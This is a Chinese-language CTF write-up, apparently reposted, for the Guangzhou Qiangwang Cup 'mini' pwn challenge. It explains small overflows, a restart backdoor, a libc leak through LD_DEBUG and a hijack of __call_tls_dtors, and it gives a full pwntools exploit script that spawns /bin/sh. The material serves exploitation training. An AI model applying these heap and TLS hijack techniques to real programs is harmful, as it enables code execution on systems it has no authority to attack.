广州强网杯pwn_mini WP | xxx广州强网杯pwn_mini WP – xxx
菜单

广州强网杯pwn_mini WP

十月 31, 2021 - 安全客

robots

广州强网杯pwn_mini WP

 

前言

这道题目是广州强网杯的一道题目,利用方式比较巧妙,题目给了两个字节溢出、和一个任意地址写,通过这些漏洞可以有一些利用的方法,但是有一种方法是很巧妙的,也是出题人想让我们利用的方式,程序本身预置了后门函数,后门函数以test身份重启了自身,然后exit了,而test身份是有一个任意地址写的。

 

分析

程序经过ida分析后,发现程序有两个参数运行,一个是test,一个real,test会有一个任意地址写,real会进入主程序。test任意写如下:

void __noreturn sub_1CB0()  {    char *s[7]; // [rsp+0h] [rbp-38h] BYREF      s[1] = (char *)__readfsqword(0x28u);    puts("[+] Test remote IO.");    __printf_chk(1LL, "Where: ");    s[0] = 0LL;    input(s, 8LL);    __printf_chk(1LL, "Input: ");    input(s[0], 144LL);    __printf_chk(1LL, "Output: ");    puts(s[0]);    exit(0);  }  

real主程序如下:

void __fastcall __noreturn main(int a1, char **a2, char **a3)  {    const char *v4; // rbp    const char *v5; // r15    int v6; // ebx    __int128 buf; // [rsp+110h] [rbp-58h] BYREF    unsigned __int64 v8; // [rsp+128h] [rbp-40h]      v8 = __readfsqword(0x28u);    if ( a1 != 2 )      goto LABEL_2;    sub_16C0();    v4 = a2[1];    if ( !strcmp(v4, "test") )      sub_1CB0();    if ( strcmp(v4, "real") )    {  LABEL_2:      puts("Invalid.");      exit(0);    }    sub_1770();    buf = 0LL;    *(_QWORD *)&::buf[48] = a3;  //envp    *(_QWORD *)&::buf[56] = a2;    __printf_chk(1LL, "User: ");    input(&buf, 13LL);    if ( !strcmp((const char *)&buf, "Administrator") )    {      puts("Login failed!");      exit(0);    }    puts("Login successful!");    while ( 1 )    {  LABEL_7:      v5 = aAddCard;      v6 = 0;      sub_1C20();                                 // menu       input(::buf, 50LL);                         // 2 bytes overflow can overflow envp       while ( strcmp(::buf, v5) )      {        ++v6;        v5 += 16;        if ( v6 == 6 )        {          puts("Illegal.");          goto LABEL_7;        }      }      off_4080[v6]();                             // 函数的数组    }  }  

主程序将a3(envp)放到了buf[48]的位置,但是在输入buf的时候大小是50,存在2字节溢出可以覆盖envp,menu所涉及的函数如下

.data:0000000000004080 off_4080        dq offset add_card      ; DATA XREF: main+102↑o  .data:0000000000004088                 dq offset Remove_Card  .data:0000000000004090                 dq offset Write_Card  .data:0000000000004098                 dq offset Read_Card  .data:00000000000040A0                 dq offset Bye_bye  .data:00000000000040A8                 dq offset sub_15C0      ; gift  .data:00000000000040A8 _data           ends  

add函数如下:

int add_card()  {    int v0; // ebx    _QWORD *i; // rax    int v2; // ebp    __int64 v3; // rax    void *v4; // rax    int *v5; // rbx    unsigned __int64 v7; // [rsp+8h] [rbp-20h]      v0 = 0;    v7 = __readfsqword(0x28u);    for ( i = &unk_4140; i[1] || *(_DWORD *)i; i += 2 )    {      if ( ++v0 == 16 )        return __readfsqword(0x28u) ^ v7;    }    __printf_chk(1LL, "Size: ");    v2 = input_size();    if ( (unsigned int)(v2 - 17) > 0x4F )      return __readfsqword(0x28u) ^ v7;    v4 = calloc(1uLL, v2);    v5 = (int *)((char *)&unk_4140 + 16 * v0);    *((_QWORD *)v5 + 1) = v4;    if ( !v4 )      exit(-1);    *v5 = v2;    __printf_chk(1LL, "Card: ");    input(*((void **)v5 + 1), *v5);    LODWORD(v3) = puts("OK.");    return v3;  }    __int64 input_size()  {    char v1[24]; // [rsp+0h] [rbp-28h] BYREF    unsigned __int64 v2; // [rsp+18h] [rbp-10h]      v2 = __readfsqword(0x28u);    *(_OWORD *)v1 = 0LL;    *(_QWORD *)&v1[16] = 0LL;    input(v1, 25LL);                              // 1 byte overflow    return strtol(v1, 0LL, 10);  }  

这里input size有一字节溢出。此外程序还有一个隐藏的gift函数,可以泄露栈地址的最后两个字节

unsigned __int64 sub_15C0()  {    int v1; // ebp    int v2; // eax    int v3; // edx    int buf; // [rsp+4h] [rbp-24h] BYREF    unsigned __int64 v5; // [rsp+8h] [rbp-20h]      v5 = __readfsqword(0x28u);    if ( !unk_4120 )    {      unk_4120 = 1;      v1 = open("/dev/urandom", 0);      read(v1, &buf, 4uLL);      close(v1);      v2 = buf & 3;      switch ( v2 )      {        case 2:          buf = 0xFFF;          v3 = 0xFFF;          break;        case 3:          buf = 0xFFFF;          v3 = 0xFFFF;          break;        case 1:          buf = 0xFF;          v3 = 0xFF;          break;        default:          buf = 0xF;          v3 = 0xF;          break;      }      __printf_chk(1LL, "Gift: %dn", (unsigned int)&buf & v3); // 2 bytes leak stack     }    return __readfsqword(0x28u) ^ v5;  }  

除此之外,可以在程序初始化中有一个backdoor函数,可以以test参数重启程序,获得一次任意写能力:

unsigned int sub_16C0()  {    setvbuf(stdin, 0LL, 2, 0LL);    setvbuf(stdout, 0LL, 2, 0LL);    setvbuf(stderr, 0LL, 2, 0LL);    signal(6, (__sighandler_t)handler);  <----backdoor>    signal(14, (__sighandler_t)sub_14D0);    return alarm(0x28u);  }    void __noreturn handler()   //以test重启自身  {    __int64 v0; // rax    char v1[88]; // [rsp+0h] [rbp-78h] BYREF    unsigned __int64 v2; // [rsp+58h] [rbp-20h]      v2 = __readfsqword(0x28u);    v0 = *(_QWORD *)&buf[56];    if ( v0 )    {      **(_DWORD **)(v0 + 8) = 0x74736574;   // test 参数      *(_OWORD *)v1 = 0LL;      *(_OWORD *)&v1[16] = 0LL;      *(_OWORD *)&v1[32] = 0LL;      *(_OWORD *)&v1[48] = 0LL;      *(_OWORD *)&v1[64] = 0LL;      readlink("/proc/self/exe", v1, 79uLL);   //复制符号到v1      execve(v1, *(char *const **)&buf[56], *(char *const **)&buf[48]);// 重新执行程序      exit(0);  // 退出    }    exit(-1);  }  

 

利用思路

经过整理这些漏洞和后门,可以整理这样一个利用思路:
LD_DEBUG=all 这个环境变量,预示着程序执行时打印loader的信息,通过里面的信息可以获取libc地址。
首先利用 gift 功能泄露栈地址最后 2 字节,然后在栈上布置 LD_DEBUG=all 字串。通过全局变量的 2 字节溢出漏洞修改 envp 指针的最后2字节,使其指向栈上的 LD_DEBUG=all 字串指针。然后通过 1 字节的栈溢出触发 abort,从而使得程序重启并进入后门(此时相当于控制了环境变量为 LD_DEBUG=all)。

│ 0x55a99e08559f    mov    rdi, rbp  ► 0x55a99e0855a2    call   execve@plt <execve@plt>          path: 0x7ffd0ba916c0 ◂— '/home/yrl/exp/mini'          argv: 0x7ffd0ba92348 —▸ 0x7ffd0ba93117 ◂— 0x7400696e696d2f2e /* './mini' */          envp: 0x7ffd0ba920f0 —▸ 0x7ffd0ba92200 ◂— 'LD_DEBUG=all'     0x55a99e0855a7    xor    edi, edi  

程序在重启时,就会打印调试信息,泄露libc地址,由于 libc 2.31 的 one_gadget 已经无法使用,所以最后利用任意地址写去劫持 exit_handlers 函数。

exit_handlers其实是用的stl结构,因为exit_handlers会用到stl结构,其中在__call_tls_dtors中会有一个call rax;的调用,在此之前我们只要将eax修改为system,再将其参数修改为‘/bin/sh’就行。往上追溯可以看到eax是由

0x7f9c9bd98424 <__call_tls_dtors+36>    mov    rax, qword ptr [rbp]  0x7f9c9bd98428 <__call_tls_dtors+40>    ror    rax, 0x11  0x7f9c9bd9842c <__call_tls_dtors+44>    xor    rax, qword ptr fs:[0x30]  

控制,我们可以通过栈控制rax为0,然后fs:[0x30]为system地址就行,参数rdi通过mov rdi, qword ptr [rbp + 8]控制,改为/bin/sh,所以就可通过call rax;来getshell,值得注意的是fs寄存器我们看不了,就要确定fs:[0x30]到底在哪里,这就需要一定的经验,大致知道 tls 在mapped 那段地址上(即libc最后的那段没有名字的地址段上),exp的target的偏移是在fs:[0x30]附近,通过布栈根据target便宜来找fs:[0x30]具体在哪里,具体这个偏移只能不同版本,慢慢靠经验找;现在 glibc2.31 还是固定的,很好找,以前 2.27 每次重启都会变,所以打远程还要爆破

 

exp

# -*- coding: UTF-8 -*-  from pwn import *    context.log_level = 'debug'  #context.terminal = ["/usr/bin/tmux","sp","-h"]    # io = remote('127.0.0.1', 49158)  # libc = ELF('./libc-2.31.so')  io = process(['./mini', 'real'])  libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')    rl = lambda    a=False        : io.recvline(a)  ru = lambda a,b=True    : io.recvuntil(a,b)  rn = lambda x            : io.recvn(x)  sn = lambda x            : io.send(x)  sl = lambda x            : io.sendline(x)  sa = lambda a,b            : io.sendafter(a,b)  sla = lambda a,b        : io.sendlineafter(a,b)  irt = lambda            : io.interactive()  dbg = lambda text=None  : gdb.attach(io, text)  lg = lambda s            : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))  uu32 = lambda data        : u32(data.ljust(4, 'x00'))  uu64 = lambda data        : u64(data.ljust(8, 'x00'))        sla('User: ', 'LD_DEBUG=all')  # 将LD_DEBUG=all放到栈上  # dbg()  # pause()  sla('>> ', '+_@*@&!$') # 触发后门gift,获取栈的最后两个字节    ru('Gift: ')                    # leak stack 2bytes  re = int(rl(), 10)  lg('re')  offset = re + 0x2c    # 通过泄露的两个字节确定LD_DEBUG=all的位置  lg('offset')  assert(offset & 0xf000)  # 确保两个字节    sa('>> ', 'A'*0x30+p16(offset))  # modify stack address envp (2bytes)-> LD_DENUG=all 通过两个字节溢出修改envp的最后两个字节使其指向LD_DEBUG=all    sla('>> ', 'Read_Card')  # dbg()  # pause()  sa('Index: ', 'B'*0x19) # 1byte onerflow  -> trigger abort  通过一字节溢出修改返回地址为非法地址,触发abort,使系统捕获异常进入后门函数,重启以test参数程序    ru('file=libc.so.6 [0];')         # test参数重启时打印debug信息,泄露libc,之后会有一个任意地址写  ru('base: ')  libc_base = int(ru('   size:'), 16)  lg('libc_base')    '''     0x7f9c9bd98424 <__call_tls_dtors+36>    mov    rax, qword ptr [rbp]     0x7f9c9bd98428 <__call_tls_dtors+40>    ror    rax, 0x11     0x7f9c9bd9842c <__call_tls_dtors+44>    xor    rax, qword ptr fs:[0x30]     0x7f9c9bd98435 <__call_tls_dtors+53>    mov    qword ptr fs:[rbx], rdx     0x7f9c9bd98439 <__call_tls_dtors+57>    mov    rdi, qword ptr [rbp + 8]   ► 0x7f9c9bd9843d <__call_tls_dtors+61>    call   rax <system>          command: 0x7f9c9bf41568 ◂— 0x68732f6e69622f /* '/bin/sh' */    '''  target = libc_base + 0x1f34e8  # exit_handlers-> __call_tls_dtors->call rax; 确定劫持位置附近,通过偏移找到fs:[0x30],和rbp+8的位置,在rbp+8位置写入指向/bin/sh的指针  lg('target')  sla('Where: ', p64(target)[:-1])    paylaod = p64(target+0x70)  paylaod += 14*p64(0)  paylaod += p64(target+0x80)  paylaod += '/bin/shx00'  paylaod += p64(libc_base + libc.sym['system'])  sla('Input: ', paylaod[:-1])      irt()  


Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51